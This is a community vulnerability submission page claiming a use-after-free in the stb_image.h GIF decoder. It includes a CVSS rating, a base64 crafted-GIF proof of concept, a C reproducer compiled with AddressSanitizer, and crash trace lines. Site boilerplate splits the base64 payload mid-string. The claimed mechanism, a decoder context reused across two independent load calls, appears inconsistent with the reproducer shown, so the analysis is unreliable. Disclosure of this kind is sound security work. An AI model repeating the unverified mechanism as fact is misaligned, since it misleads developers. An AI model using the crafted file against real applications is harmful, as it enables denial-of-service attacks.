COMMUNITY CONTENT

Home › Submit › 780462

Submit #780462: nothings stb ≤ 2.30 (latest) Use After Free

Title **nothings stb ≤ 2.30 (latest) Use After Free**

Description A use-after-free vulnerability was found in nothings stb stb_image.h (version ≤ 2.30). The vulnerability exists in the function stbi__gif_load_next() at line 6818. When a crafted multi-frame GIF file is processed through stbi_load_16_from_memory(), the internal GIF buffer (g->out) is freed during 16-bit conversion via stbi__convert_8_to_16(). A subsequent call to stbi_load_gif_from_memory() with the same input reuses the freed GIF context, causing the two_back pointer in stbi__gif_load_next() to reference freed heap memory via memcpy().

The vulnerability is triggered when the same GIF input is processed through multiple stb_image API surfaces (stbi_load_16_from_memory followed by stbi_load_gif_from_memory), which is a common usage pattern in applications that probe image formats.

The vulnerable code at stb_image.h:6818:
memcpy(&g->out[pi * 4], &two_back[pi * 4], 4);

Here, two_back points to memory that was previously freed by stbi_image_free() after stbi_load_16_from_memory() completed, but the GIF decoder context still holds the stale pointer.

Impact

This vulnerability allows an attacker to cause a denial of service (crash) via a crafted GIF file. Depending on heap layout and allocator implementation, it may also lead to information disclosure (reading freed heap data) or potentially arbitrary code execution. The vulnerability can be triggered remotely by supplying a malicious GIF image to any application using stb_image.h that calls multiple load functions on untrusted input.

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Score: 8.1 (High)

Proof of Concept

PoC file (52 bytes, base64-encoded):

R0lGODlhMDAwAIAwMDAwMDAwMCwwADAAMAAAADAAACH5BO0wMDAALDAAAA

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

AwADAAMAIwRA==

Reproduction steps:

1. Decode PoC:

```
echo
'R0lGODlhMDAwAIAwMDAwMDAwMCwwADAAMAAAADAAACH5BO0wMDAALDAAAA
AwADAAMAIwRA==' | base64 -d > poc_uaf.gif
```

2. Compile reproducer with AddressSanitizer:

```
cat > repro.c << 'CEOF'
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
    if (argc < 2) return 1;
    FILE *f = fopen(argv[1], "rb");
    if (!f) return 1;
    fseek(f, 0, SEEK_END);
    int len = (int)ftell(f);
    fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(len);
    fread(buf, 1, len, f);
    fclose(f);

    int x, y, channels;

    // 16-bit load frees internal GIF buffer
    unsigned short *d16 = stbi_load_16_from_memory(buf, len, &x, &y, &channels, 0);
    if (d16) free(d16);

    // GIF animation load reuses freed context → UAF
    int *delays = NULL;
    int z;
    unsigned char *gif = stbi_load_gif_from_memory(buf, len, &delays, &x, &y, &z,
&channels, 0);
    if (gif) free(gif);
    if (delays) free(delays);

    free(buf);
    return 0;
}
CEOF

clang -fsanitize=address -g -O0 repro.c -o repro -lm
./repro poc_uaf.gif
```

3. ASAN output:

```
ERROR: AddressSanitizer: heap-use-after-free
READ via __asan_memcpy
```

#1 stbi__gif_load_next stb_image.h:6818
#2 stbi__load_gif_main stb_image.h:6984
#3 stbi_load_gif_from_memory
freed by: stbi_image_free (stb_image.h:1103)
allocated by: stbi__convert_8_to_16 (stb_image.h:1212)

Affected Function

stbi__gif_load_next() — stb_image.h:6818

Countermeasure

Clear the GIF decoder context (g->out, g->background, g->history, two_back) after each load call completes, or ensure stbi__load_gif_main() does not carry stale pointers across independent API invocations.

User	d0razi (UID 96474)
Submission	03/15/2026 03:39 PM (17 days ago)
Moderation	04/01/2026 02:40 PM (17 days later)
Status	Accepted
VulDB entry	354645 [Nothings stb up to 2.30 GIF Decoder stb_image.h stbi__gif_load_next denial of service]
Points	17